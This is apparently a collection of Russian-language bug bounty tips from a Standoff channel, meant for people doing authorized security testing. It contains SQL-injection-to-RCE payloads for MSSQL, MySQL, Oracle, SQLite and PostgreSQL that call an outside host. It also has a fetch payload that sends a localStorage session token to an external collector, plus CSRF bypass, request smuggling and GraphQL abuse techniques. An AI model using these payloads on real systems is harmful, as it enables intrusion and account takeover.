Standoff Bug Bounty Tips

😎 Публичные Postman workspaces могут содержать секреты

Если не изменить настройки видимости рабочего пространства Postman, оно будет доступно всем желающим.

👉 Проверяем как показано ниже и ищем забытые секреты, ключи API и другие чувствительные данные:

https://www.postman.com/{companyName}/?tab=workspaces

👉 Дорк для поиска:

site:www.postman.com inurl:tab=workspaces "companyName"

🔝 SQLi -> RCE: как раскрутить SQL-инъекцию до RCE

Нашли скулю? Не спешите сдавать — попробуйте повысить импакт.

Вот примеры для разных СУБД:

1️⃣ Microsoft SQL Server: метод xp_cmdshell (требуются привилегии админа БД).

EXEC xp_cmdshell 'curl https://example.com'

2️⃣ MySQL: методы sys_eval или sys_exec (требуется установить или включить библиотеку User Defined Function).

SELECT sys_eval(' curl https://example.com');

3️⃣ Oracle: функции Java.

SELECT DBMS_JAVA_TEST.FUNCALL ('oracle/aurora/util/Wrapper', 'main', '/bin/bash','-c','/bin/curl https://example.com') from dual

4️⃣ SQLite: метод load_extension (необходимо включить расширения в конфигурации SQLite).

UNION SELECT 1, load_extension('|lexample.com\malicious_extension.so', 'MainFuncCall');

5️⃣ PostgreSQL: сначала создайте или включите функцию, а затем используйте ее для выполнения команд.

CREATE OR REPLACE FUNCTION system(string) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'C' STRICT;
SELECT system('curl https://example.com');

👌 DOM-based XSS + localStorage = ATO

Нашли DOM-based XSS и заметили, что приложение использует современный JavaScript-фреймворк? Скорее всего, сессионный токен хранится в localStorage браузера — и это может помочь захватить аккаунт 🤑

Обычно чувствительные куки защищены флагом HttpOnly, чтобы JavaScript не мог их прочитать. Это снижает риск дальнейшей эксплуатации XSS.

Но разработчикам часто нужно отправлять защищенный токен вместе с запросами к API. В таком случае они сохраняют его в localStorage. Это значит, что JavaScript имеет к нему прямой доступ и может легко подставлять в запросы.

И да — если у вас есть DOM-based XSS на этом же домене, вы тоже можете вытащить токен.
Вот пример полезной нагрузки, которая отправляет токен на сервер с помощью fetch:

await fetch (https://example.com/collect?token=${encodeURIComponent(localStorage.getItem('session_token'))}')

😎 Простой способ обхода CSRF для проверки того, отправляет ли исследуемое приложение данные в JSON-формате без anti-CSRF-токена

Измените тип контента с application/json на text/plain и посмотрите, по-прежнему ли сервер принимает запрос.

В случае успеха вы можете легко создать простую полезную нагрузку (payload) и заставить браузер повторить тот же запрос с помощью HTML-формы ☝️

Уровень сложности: 🪲🪲

🛠️ Фаззинг HTTP-заголовков на практике

Проверка кастомных HTTP-заголовков в запросах и ответах — первый шаг при сканировании вашей цели. Они часто раскрывают конфиденциальную информацию, которую можно использовать для дальнейшей разведки.

Но любой фаззинг, включая HTTP-заголовков, может фолзить — особенно если CDN или бэкенд реагируют на заголовки только в определенных комбинациях.

Пример простого запроса с заголовком Forwarded (подробнее — в RFC 7239):

GET / HTTP/1.1
Host: redacted.com
Forwarded: example.com

Ответ:

HTTP/1.1 200 OK
Content-type: text/html; charset=utf-8
Content-Length: 8426

Но если изменить Forwarded так:

Forwarded: for=example.com;host=example.com;proto=https

Сервер вернет:

HTTP/1.1 500 Internal Server Error
Content-Length: 764

Если и это не сработает, попробуйте другие варианты из документации nginx.

Подобное поведение — повод начать глубже исследовать причину ошибки и искать соответствующие баги.

Уровень сложности: 🪲🪲🪲

🔄 Реверс приложений на Flutter

Наткнулись на мобильное приложение под управлением Flutter и не понимаете, как перехватить сетевые запросы? ReFlutter — тот самый инструмент для хантеров за мобильными багами 📱

ReFlutter заменяет оригинальный движок Flutter в APK на модифицированный, что позволяет в реальном времени перехватывать сетевой трафик на нативном уровне. Достаточно просто настроить BurpSuite.

После патча APK его нужно заново подписать. Быстрее всего — через uber-apk-signer:

java -jar uber-apk-signer.jar --allowResign -a release.RE.apk

Уровень сложности: 🪲🪲🪲🪲

🔎 Скрытые параметры запросов в действии

Один из способов найти новые параметры запроса с помощью JavaScript-файлов — собрать имена переменных и преобразовать их в параметры запроса.

Иногда это допустимые параметры, которые обрабатываются бэкендом небезопасными способами.

Мы открыли комментарии!

Спасибо, что читаете нас и ставите реакции — ваша поддержка реально драйвит продолжать. Мы делаем контент прежде всего для middle+ специалистов, тщательно отбирая темы, которые считаем полезными и редкими для российского сегмента багбаунти.

Делитесь в комментариях темами, которые вам интересны — будем стараться брать их во внимание при подготовке следующих постов.

Команда Standoff Bug Bounty ❤️

🎯 От XSS к SSRF: эксплуатируем Edge Side Includes

Когда кэширующие серверы и балансировщики нагрузки стали неотъемлемой частью современной инфраструктуры, производители внедрили технологию Edge Side Includes (ESI) — способ управления динамическим контентом на уровне кэша. Эта устаревшая, но до сих пор используемая технология может быть опасна и открывает новую поверхность атак.

Язык ESI состоит из набора XML-инструкций, которые возвращает сервер приложений. Они обрабатываются на Edge-серверах (балансировщиках, прокси-серверах). Поскольку Edge-серверы доверяют тому, что приходит с апстрима, они не различают легитимные и вредоносные ESI-инструкции.

👉 Через ESI можно:

🚀 Выполнить SSRF.
🚀 Получить доступ к куки без использования JavaScript даже с флагом HttpOnly.

Уязвимые при определенных условиях решения: Akamai, Fastly, F5, Squid, Varnish, WebLogic, WebSphere, а также любые кастомные решения на Node.js, Ruby и других языках, которые используют обработку ESI без строгой фильтрации и контроля источников.

«Где пруфы?» — спросите вы. В докладе Louis Dion-Marcil на DEF CON 26! Еще в 2018 году он выступил с темой Edge Side Include Injection: Abusing Caching Servers into SSRF and Transparent Session Hijacking. Этот пост вдохновлен его докладом 🔥

🔍 Пять простых способов найти баги в веб-приложении с GraphQL

Нашел хост GraphQL? Это тот самый строго типизированный язык запросов, который разработчики используют для простого извлечения данных.

💡 Мини-чек-лист для багхантера:

☑️ Запускаем introspection-запрос — получаем карту всех типов, запросов и мутаций.
☑️ Визуализируем структуру через GraphQL Voyager — это упростит анализ.
☑️ Используем BatchQL или расширение InQL — ищем IDOR, SQL-инъекции, SSRF и др.
☑️ Проверяем на CSRF, особенно если авторизация на основе cookie.
☑️ Тестим обход rate limit и DoS через батч-запросы.

🚀 Разберем подробнее

1️⃣ Introspection-запрос

Если включен — bingo. Получаем всю схему: типы, запросы, мутации. Собранную структуру удобно анализировать через GraphQL Voyager: он отлично фильтрует мутации и показывает архитектуру API.

2️⃣ Introspection отключен?

Не беда. GraphQL-серверы вроде Apollo часто поддерживают автодополнение: они подсказывают поля даже без схемы.

Вручную перебирать — боль, поэтому подключаем Clairvoyance: он восстанавливает схему даже без introspection.

3️⃣ CSRF

GraphQL сам по себе не защищен от CSRF. Если сессии на cookie, а не через Authorization-заголовок, — риск высокий. Пример: можно подделать запрос от пользователя без его ведома.

4️⃣ Обход лимитов

Многие лимиты считают HTTP-запросы, а не количество вложенных GraphQL-запросов.

GraphQL позволяет использовать алиасы: шлем кучу запросов в одном теле, сервер в шоке, лимит не триггерится.

5️⃣ DoS через батч-запросы

Если сервер не ограничивает число обработанных запросов в одной пачке — мы просто заваливаем его ресурсоемкими мутациями. Это может легко положить сервис.

💡 Автоматизация:

• BatchQL — проверка батчей, мутаций, SSRF, SQLi, IDOR и прочего.
• GraphQL Cop — делает 10+ тестов безопасности, включая CSRF.
• InQL — расширение для Burp Suite, идеально интегрируется и помогает в перехвате GraphQL-запросов.

P. S. При подготовке поста вдохновлялись статьей багбаунти-площадки Intigriti.

🤔 HTTP request smuggling: подтверждение баги CL.TE через дифференцированные ответы

💡 HTTP request smuggling — атака, направленная на рассинхронизацию фронтенд- и бэкенд-сервера, в результате которой можно внедрить HTTP-запрос мимо фронтенд-сервера. В результате успешной эксплуатации можно сдать критическую багу 🤑

Request smuggling в первую очередь связана с запросами HTTP/1, но некоторые приложения, поддерживающие HTTP/2, также могут быть уязвимы в зависимости от внутренней архитектуры.

При наличии уязвимой конфигурации CL.TE фронтенд-сервер использует заголовок Content-Length, а бэкенд-сервер — Transfer-Encoding:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

💡 Как обнаружить баги типа CL.TE

1. Отправляем запрос в Burp Repeater.

• Понижаем версию протокола до HTTP/1.1.
• Отключаем опцию Update Content-Length.
• Устанавливаем заголовок Content-Length в значение 6.
• Добавляем заголовок Transfer-Encoding: chunked.
• Отправляем chunk с некорректным размером.

Если сервер на бэкенде уходит в тайм-аут, это может указывать на потенциально уязвимую конфигурацию CL.TE.

💡 Подтверждаем через дифференцированные ответы

2. Формируем и отправляем вредоносный запрос:

• Заменяем предыдущий chunk на завершающий (terminating) chunk.
• Добавляем контрабандный запрос после тела chunked-запроса.
• Добавляем строку X-ignore: X (без перевода строки в конце) и отправляем.

3. Сразу после вредоносного отправляем обычный запрос в Repeater и понижаем его до HTTP/1.1.

Если в ответ на обычный запрос приходит 404 вместо 200, значит — бэкенд был «отравлен»!

👉 Потренироваться на лабораторной работе PortSwigger